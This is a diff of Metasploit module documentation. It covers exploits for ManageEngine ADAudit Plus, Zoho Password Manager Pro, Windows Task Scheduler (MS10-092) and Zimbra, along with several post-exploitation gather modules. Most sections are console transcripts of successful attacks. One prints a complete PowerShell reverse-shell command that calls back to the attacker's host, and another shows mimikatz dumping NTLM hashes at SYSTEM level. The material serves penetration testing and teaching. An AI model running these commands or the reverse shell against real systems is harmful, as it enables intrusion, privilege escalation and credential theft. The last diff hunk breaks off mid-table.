@@ -0,0 +1,70 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerable application is ManageEngine ADAudit Plus prior to build 7060. I built and tested this on build 7055, which, at least at the time of this writing, you can download [here](https://archives2.manageengine.com/active-directory-audit/). It's a .exe file that you can install with all the defaults.
|
||||
|
||||
You also need to configure ADAudit to actually audit a domain. That means setting up a domain (I created a domain controller in the lab), and configuring ADAudit to scan that domain. That domain name must be set to the `DOMAIN` when using this exploit.
|
||||
|
||||
The last thing is, three connect-back ports must be open from the target back to Metasploit (in addition to whatever payload ports). By default, we use ports 8080 and 8888 for HTTP, and 2121 for FTP.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Do: `set RHOSTS <IP>`
|
||||
3. Do: `set DOMAIN <DOMAIN_NAME>`
|
||||
4. Do: `exploit`
|
||||
5. You should get a meterpreter session
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219
|
||||
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set RHOSTS 10.0.0.148
|
||||
RHOSTS => 10.0.0.148
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set DOMAIN ad.example.local
|
||||
DOMAIN => ad.example.local
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. The vulnerable endpoint responds with HTTP/200.
|
||||
[*] Attempting to exploit XXE to get a list of users
|
||||
[*] Using URL: http://10.0.0.146:8080/KEmvnPFxS.dtd
|
||||
[*] User accounts discovered: Ron
|
||||
[*] Enumerating old payloads cached on the server (to skip later)
|
||||
[*] Using URL: http://10.0.0.146:8080/NvkXTJXRyhV.dtd
|
||||
[*] Attempting to exploit XXE to store our serialized payload on the server
|
||||
[*] Trying to find our payload in all users' temp folders
|
||||
[*] Using URL: http://10.0.0.146:8080/ppVHiihu.dtd
|
||||
[*] Executing payload: /users/Ron/appdata/local/temp/jar_cache4413164256015023251.tmp...
|
||||
[*] Sending stage (175686 bytes) to 10.0.0.148
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.148:52347) at 2022-07-07 15:19:59 -0700
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI_DESERIALIZATION / TARGETURI_XXE
|
||||
|
||||
The target URLs - probably won't ever need to be changed
|
||||
|
||||
### DOMAIN
|
||||
|
||||
A domain that the target monitors. We cannot validate this, but if the exploit should work and doesn't, this might be the issue.
|
||||
|
||||
### SRVPORT / SRVPORT_FTP / SRVPORT_HTTP2
|
||||
|
||||
The connect-back ports.
|
||||
|
||||
* `SRVPORT` is used to host XXE payloads
|
||||
* `SRVPORT_HTTP2` is used for an XXE payload that is held open, creating a temporary file on the server
|
||||
* `SRVPORT_FTP` is used for a fake off-spec FTP server that receives a directory listing also via XXE
|
||||
|
||||
# PATH_TRAVERSAL_DEPTH
|
||||
|
||||
The number of `../` to add to the request
|
||||
|
||||
# FtpCallbackTimeout / HttpUploadTimeout
|
||||
|
||||
How long to wait for FTP or HTTP responses before giving up
|
||||
@@ -0,0 +1,185 @@
|
||||
## Vulnerable Application
|
||||
This module exploits a unauthenticated deserialization vulnerability in the XML RPC interface exposed by Zoho
|
||||
ManageEngine Password Manager Pro before 12101 and PAM360 before 5510. Note that ManageEngine Access Manager Plus
|
||||
before 4303 is also affected provided one provides credentials, however this is not targeted by this exploit.
|
||||
|
||||
Successful exploitation results in unauthenticated RCE as the `NT AUTHORITY\SYSTEM` user.
|
||||
|
||||
### Installation
|
||||
Vulnerable software for testing can be downloaded [here](https://archives2.manageengine.com/passwordmanagerpro/12100/ManageEngine_PMP_64bit.exe).
|
||||
The patch can be downloaded from [here](https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm)
|
||||
|
||||
When installing the software follow the defaults. You can skip the registration however or any parts where you need
|
||||
to fill in additional details to continue (these should have a `Skip` button so you can skip them).
|
||||
|
||||
## Verification Steps
|
||||
1. Follow the installation instructions above.
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
7. Do: `set payload [payload]`
|
||||
8. Do: `set LHOST [IP]`
|
||||
9. Optional: `set LPORT [local port to listen on]`
|
||||
10. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
## Targets
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows EXE Dropper
|
||||
1 Windows Command
|
||||
2 Windows Powershell
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
### ManageEngine Password Manager Pro 12100 Running on Windows 11
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
|
||||
[*] Using configured payload cmd/windows/reverse_powershell
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set RHOSTS 172.17.245.94
|
||||
RHOSTS => 172.17.245.94
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LHOST 172.17.255.112
|
||||
LHOST => 172.17.255.112
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LPORT 8899
|
||||
LPORT => 8899
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.17.245.94 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
|
||||
ploit
|
||||
RPORT 7272 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local
|
||||
machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/reverse_powershell):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.17.255.112 yes The listen address (an interface may be specified)
|
||||
LPORT 8899 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows Command
|
||||
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.255.112:8899
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Target can deserialize arbitrary data.
|
||||
[*] Executing Windows Command for cmd/windows/reverse_powershell
|
||||
[+] Successfully executed command: powershell -w hidden -nop -c $a='172.17.255.112';$b=8899;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}
|
||||
[*] Command shell session 1 opened (172.17.255.112:8899 -> 172.17.245.94:56612) at 2022-08-02 11:37:28 -0500
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.22000.795]
|
||||
(c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Program Files\ManageEngine\PMP\bin>
|
||||
-----
|
||||
|
||||
|
||||
C:\Program Files\ManageEngine\PMP\bin>whoami
|
||||
whoami
|
||||
nt authority\system
|
||||
|
||||
C:\Program Files\ManageEngine\PMP\bin>background
|
||||
|
||||
Background session 1? [y/N] y
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10.0.2 172.17.255.112:8899 -> 172.17.245.94:56612 (172.
|
||||
2000.795] (c) Microsoft Corpo... 17.245.94)
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -u 1
|
||||
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
|
||||
|
||||
[*] Upgrading session ID: 1
|
||||
[*] Starting exploit/multi/handler
|
||||
[*] Started reverse TCP handler on 172.17.255.112:4433
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) >
|
||||
[*] Sending stage (200774 bytes) to 172.17.245.94
|
||||
[*] Meterpreter session 2 opened (172.17.255.112:4433 -> 172.17.245.94:56631) at 2022-08-02 11:38:11 -0500
|
||||
[*] Stopping exploit/multi/handler
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10. 172.17.255.112:8899 -> 172.17.245.94:56612 (1
|
||||
0.22000.795] (c) Microsoft Corpo... 72.17.245.94)
|
||||
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN11-TEST 172.17.255.112:4433 -> 172.17.245.94:56631 (1
|
||||
72.17.245.94)
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > load kiwi
|
||||
Loading extension kiwi...
|
||||
.#####. mimikatz 2.2.0 20191125 (x64/windows)
|
||||
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
|
||||
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
|
||||
## \ / ## > http://blog.gentilkiwi.com/mimikatz
|
||||
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
|
||||
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
|
||||
|
||||
Success.
|
||||
meterpreter > creds_all
|
||||
[+] Running as SYSTEM
|
||||
[*] Retrieving all credentials
|
||||
msv credentials
|
||||
===============
|
||||
|
||||
Username Domain NTLM SHA1
|
||||
-------- ------ ---- ----
|
||||
admin WIN11-TEST 209c6174da490caeb422f3fa5a7ae634 7c87541fd3f3ef5016e12d411900c87a6046a8e8
|
||||
|
||||
wdigest credentials
|
||||
===================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
WIN11-TEST$ WORKGROUP (null)
|
||||
admin WIN11-TEST (null)
|
||||
|
||||
kerberos credentials
|
||||
====================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
admin WIN11-TEST (null)
|
||||
win11-test$ WORKGROUP (null)
|
||||
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -1,51 +1,65 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. Also, In a default configuration, normal users can read and write the task files that they have created. By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.
|
||||
|
||||
## Scenarios
|
||||
This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
|
||||
When processing task files, the Windows Task Scheduler only uses a CRC32
|
||||
checksum to validate that the file has not been tampered with. Also, In a default
|
||||
configuration, normal users can read and write the task files that they have
|
||||
created. By modifying the task file and creating a CRC32 collision, an attacker
|
||||
can execute arbitrary commands with SYSTEM privileges.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/exploits/windows/local/ms10_092_schelevator`
|
||||
3. Do: `set SESSION [#]`
|
||||
4. Do: `run`
|
||||
2. Get a Meterpreter session
|
||||
3. Do: `use modules/exploits/windows/local/ms10_092_schelevator`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
### A run on Windows Vista (Build 6000) and Kali Linux 2019.3
|
||||
## Options
|
||||
|
||||
```
|
||||
msf > use modules/exploits/windows/local/ms10_092_schelevator
|
||||
msf exploit(windows/local/ms10_092_schelevator) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf5 exploit(windows/local/ms10_092_schelevator) > run
|
||||
[*] Started reverse TCP handler on 192.168.1.3:4444
|
||||
[*] Preparing payload at C:\Users\test\AppData\Local\Temp\CItOOtB.exe
|
||||
[*] Creating task: TzAZ6H4K
|
||||
[*] SUCCESS: The scheduled task "TzAZ6H4K" has successfully been created.
|
||||
[*] SCHELEVATOR
|
||||
[*] Reading the task file contents from C:\Windows\system32\tasks\TzAZ6H4K...
|
||||
[*] Original CRC32: 0x69b1db25
|
||||
[*] Final CRC32: 0x69b1db25
|
||||
[*] Writing our modified content back...
|
||||
[*] Validating task: TzAZ6H4K
|
||||
[*]
|
||||
[*] Folder: \
|
||||
[*] TaskName Next Run Time Status
|
||||
[*] ========================================== ==================== ===============
|
||||
[*] TzAZ6H4K 12/1/2019 10:41:00 A Ready
|
||||
[*] SCHELEVATOR
|
||||
[*] Disabling the task...
|
||||
[*] SUCCESS: The parameters of scheduled task "TzAZ6H4K" have been changed.
|
||||
[*] SCHELEVATOR
|
||||
[*] Enabling the task...
|
||||
[*] SUCCESS: The parameters of scheduled task "TzAZ6H4K" have been changed.
|
||||
[*] SCHELEVATOR
|
||||
[*] Executing the task...
|
||||
[*] Sending stage (180291 bytes) to 192.168.1.2
|
||||
[*] SUCCESS: Attempted to run the scheduled task "TzAZ6H4K".
|
||||
[*] SCHELEVATOR
|
||||
[*] Deleting the task...
|
||||
[*] Meterpreter session 2 opened (192.168.1.3:4444 -> 192.168.1.2:49249) at 2019-11-27 10:42:02 -0700
|
||||
[*] SUCCESS: The scheduled task "TzAZ6H4K" was successfully deleted.
|
||||
[*] SCHELEVATOR
|
||||
```
|
||||
### TASKNAME
|
||||
|
||||
A name for the created task (default is random)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2008 SP1 (x64)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/local/ms10_092_schelevator
|
||||
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/local/ms10_092_schelevator) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(windows/local/ms10_092_schelevator) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Preparing payload at C:\Users\user\AppData\Local\Temp\QMGmEeEmFFq.exe
|
||||
[*] Creating task: qThxbR37
|
||||
[*] Reading the task file contents from C:\Windows\system32\tasks\qThxbR37...
|
||||
[*] Original CRC32: 0xec6cfb1d
|
||||
[*] Final CRC32: 0xec6cfb1d
|
||||
[*] Writing our modified content back...
|
||||
[*] Validating task: qThxbR37
|
||||
[*] Disabling the task...
|
||||
[*] SUCCESS: The parameters of scheduled task "qThxbR37" have been changed.
|
||||
[*] Enabling the task...
|
||||
[*] SUCCESS: The parameters of scheduled task "qThxbR37" have been changed.
|
||||
[*] Executing the task...
|
||||
[*] Sending stage (200774 bytes) to 192.168.200.218
|
||||
[*] Meterpreter session 2 opened (192.168.200.130:4444 -> 192.168.200.218:52347) at 2022-08-19 00:53:17 -0400
|
||||
[*] Deleting task pcT2p46d0...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-17B09RRRJTG
|
||||
OS : Windows 2008 (6.0 Build 6001, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : CORP
|
||||
Logged On Users : 3
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Currently, as of 2022-07-26, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I have an open security ticket with Zimbra.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Install Zimbra on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then CVE-2022-30333 to exploit, but this will work on a fully patched system as well. Then...
|
||||
|
||||
```
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
10 meterpreter x86/linux zimbra @ zimbra.example.org 10.0.0.146:4444 -> 10.0.0.154:39800 (10.0.0.154)
|
||||
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > use exploit/linux/local/zimbra_slapper_priv_esc
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 10
|
||||
SESSION => 10
|
||||
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Executing: sudo -n -l
|
||||
[+] The target is vulnerable.
|
||||
[*] Creating exploit directory: /tmp/.5kq9XO
|
||||
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.5kq9XO/.1wNk1h3
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.154
|
||||
[+] Deleted /tmp/.5kq9XO
|
||||
[*] Meterpreter session 13 opened (10.0.0.146:4444 -> 10.0.0.154:40044) at 2022-07-21 14:04:12 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### SUDO_PATH
|
||||
|
||||
The path to `sudo` on the host. If we have a proper environment with `$PATH` set, which we generally do, simply `sudo` is fine.
|
||||
|
||||
### ZIMBRA_BASE
|
||||
|
||||
The base where Zimbra is installed. Zimbra typically installs to `/opt/zimbra`, and I'm not even sure if it _can_ install elsewhere, so this default should be fine.
|
||||
@@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module prints out the operating system environment variables.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/multi/gather/env`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 11 Pro (10.0.22000 N/A Build 22000)
|
||||
|
||||
```
|
||||
msf6 > use post/multi/gather/env
|
||||
msf6 post(multi/gather/env) > set session 1
|
||||
session => 1
|
||||
msf6 post(multi/gather/env) > run
|
||||
|
||||
[*] Running module against WinDev2110Eval (192.168.200.140)
|
||||
ALLUSERSPROFILE=C:\ProgramData
|
||||
APPDATA=C:\Users\User\AppData\Roaming
|
||||
CommonProgramFiles=C:\Program Files\Common Files
|
||||
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
|
||||
CommonProgramW6432=C:\Program Files\Common Files
|
||||
COMPUTERNAME=WINDEV2110EVAL
|
||||
ComSpec=C:\Windows\system32\cmd.exe
|
||||
DriverData=C:\Windows\System32\Drivers\DriverData
|
||||
HOMEDRIVE=C:
|
||||
HOMEPATH=\Users\User
|
||||
LOCALAPPDATA=C:\Users\User\AppData\Local
|
||||
LOGONSERVER=\\WINDEV2110EVAL
|
||||
NUMBER_OF_PROCESSORS=2
|
||||
OneDrive=C:\Users\User\OneDrive
|
||||
OS=Windows_NT
|
||||
Path=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Program Files\Microsoft SQL Server\130\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Users\User\AppData\Local\Microsoft\WindowsApps;;C:\Users\User\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\User\.dotnet\tools
|
||||
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
|
||||
PROCESSOR_ARCHITECTURE=AMD64
|
||||
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 26 Stepping 5, GenuineIntel
|
||||
PROCESSOR_LEVEL=6
|
||||
PROCESSOR_REVISION=1a05
|
||||
ProgramData=C:\ProgramData
|
||||
ProgramFiles=C:\Program Files
|
||||
ProgramFiles(x86)=C:\Program Files (x86)
|
||||
ProgramW6432=C:\Program Files
|
||||
PROMPT=$P$G
|
||||
PSExecutionPolicyPreference=Bypass
|
||||
PSModulePath=C:\Users\User\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
|
||||
PUBLIC=C:\Users\Public
|
||||
SESSIONNAME=Console
|
||||
SystemDrive=C:
|
||||
SystemRoot=C:\Windows
|
||||
TEMP=C:\Users\User\AppData\Local\Temp
|
||||
TMP=C:\Users\User\AppData\Local\Temp
|
||||
USERDOMAIN=WINDEV2110EVAL
|
||||
USERDOMAIN_ROAMINGPROFILE=WINDEV2110EVAL
|
||||
USERNAME=User
|
||||
USERPROFILE=C:\Users\User
|
||||
windir=C:\Windows
|
||||
[+] Results saved to /root/.msf4/loot/20220731233101_default_192.168.200.140_windows.environm_058721.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,44 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will check the file system and registry for particular artifacts.
|
||||
|
||||
The list of artifacts is read in YAML format from `data/post/enum_artifacts_list.txt`
|
||||
or a user specified file. Any matches are written to the loot.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/windows/gather/enum_artifcats`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### ARTIFACTS
|
||||
|
||||
Full path to artifacts file.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_artifacts
|
||||
msf6 post(windows/gather/enum_artifacts) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_artifacts) > set verbose true
|
||||
verbose => true
|
||||
msf6 post(windows/gather/enum_artifacts) > run
|
||||
|
||||
[*] Searching for artifacts of test_evidence
|
||||
[*] Processing 2 file entries for test_evidence ...
|
||||
[*] Processing 2 registry entries for test_evidence ...
|
||||
[*] Artifacts of test_evidence found.
|
||||
Evidence of test_evidence found.
|
||||
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI\DisplayName
|
||||
|
||||
[+] Enumerated Artifacts stored in: /root/.msf4/loot/20220807015628_default_192.168.200.190_enumerated.artif_933981.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -1,7 +1,7 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module identifies the primary domain via the registry. The registry value used is:
|
||||
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\DCName`.
|
||||
This module identifies the primary Active Directory domain name
|
||||
and domain controller.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -10,34 +10,36 @@ This module identifies the primary domain via the registry. The registry value u
|
||||
1. Do: `use post/windows/gather/enum_domain`
|
||||
1. Do: `set session [#]`
|
||||
1. Do: `run`
|
||||
1. You should information on the computer's domain
|
||||
1. You should receive Active Directory domain information
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2012 DC
|
||||
### Windows 2016 with Windows 2008 SP1 DC
|
||||
|
||||
```
|
||||
msf6 post(windows/gather/enum_domain) > sessions -i 6
|
||||
[*] Starting interaction with 6...
|
||||
msf6 post(windows/gather/enum_domain) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DC1
|
||||
OS : Windows 2012 (6.2 Build 9200).
|
||||
Computer : WIN-7V3NGVNQTJ1
|
||||
OS : Windows 2016+ (10.0 Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : hoodiecola
|
||||
Domain : CORP
|
||||
Logged On Users : 4
|
||||
Meterpreter : x86/windows
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 6...
|
||||
[*] Backgrounding session 1...
|
||||
|
||||
msf6 post(windows/gather/enum_domain) > use post/windows/gather/enum_domain
|
||||
msf6 post(windows/gather/enum_domain) > set session 6
|
||||
session => 6
|
||||
msf6 post(windows/gather/enum_domain) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_domain) > run
|
||||
|
||||
[+] FOUND Domain: hoodiecola
|
||||
[+] FOUND Domain Controller: dc1 (IP: 1.1.1.1)
|
||||
[+] Domain FQDN: corp.local
|
||||
[+] Domain NetBIOS Name: CORP
|
||||
[+] Domain Controller: WIN-17B09RRRJTG.corp.local (IP: 192.168.200.218)
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
@@ -1,64 +1,61 @@
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module will enumerate current and recently logged on Windows users.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get meterpreter session
|
||||
3. Do: ```use post/windows/gather/enum_logged_on_users```
|
||||
4. Do: ```set SESSION <session id>```
|
||||
5. Do: ```run```
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: `use post/windows/gather/enum_logged_on_users`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**CURRENT**
|
||||
### CURRENT
|
||||
|
||||
Enumerate currently logged on users. Default: ```true```
|
||||
Enumerate currently logged on users. (default: `true`)
|
||||
|
||||
**RECENT**
|
||||
### RECENT
|
||||
|
||||
Enumerate Recently logged on users. Default: ```true```
|
||||
Enumerate recently logged on users. (default: `true`)
|
||||
|
||||
**SESSION**
|
||||
|
||||
The session to run this module on.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1).
|
||||
|
||||
```
|
||||
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
|
||||
```
|
||||
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
|
||||
|
||||
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
|
||||
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(windows/gather/enum_logged_on_users) > run
|
||||
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
|
||||
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(windows/gather/enum_logged_on_users) > run
|
||||
|
||||
[*] Running against session 1
|
||||
[*] Running module against TEST-PC (192.168.1.10)
|
||||
|
||||
Current Logged Users
|
||||
====================
|
||||
Current Logged Users
|
||||
====================
|
||||
|
||||
SID User
|
||||
--- ----
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
|
||||
SID User
|
||||
--- ----
|
||||
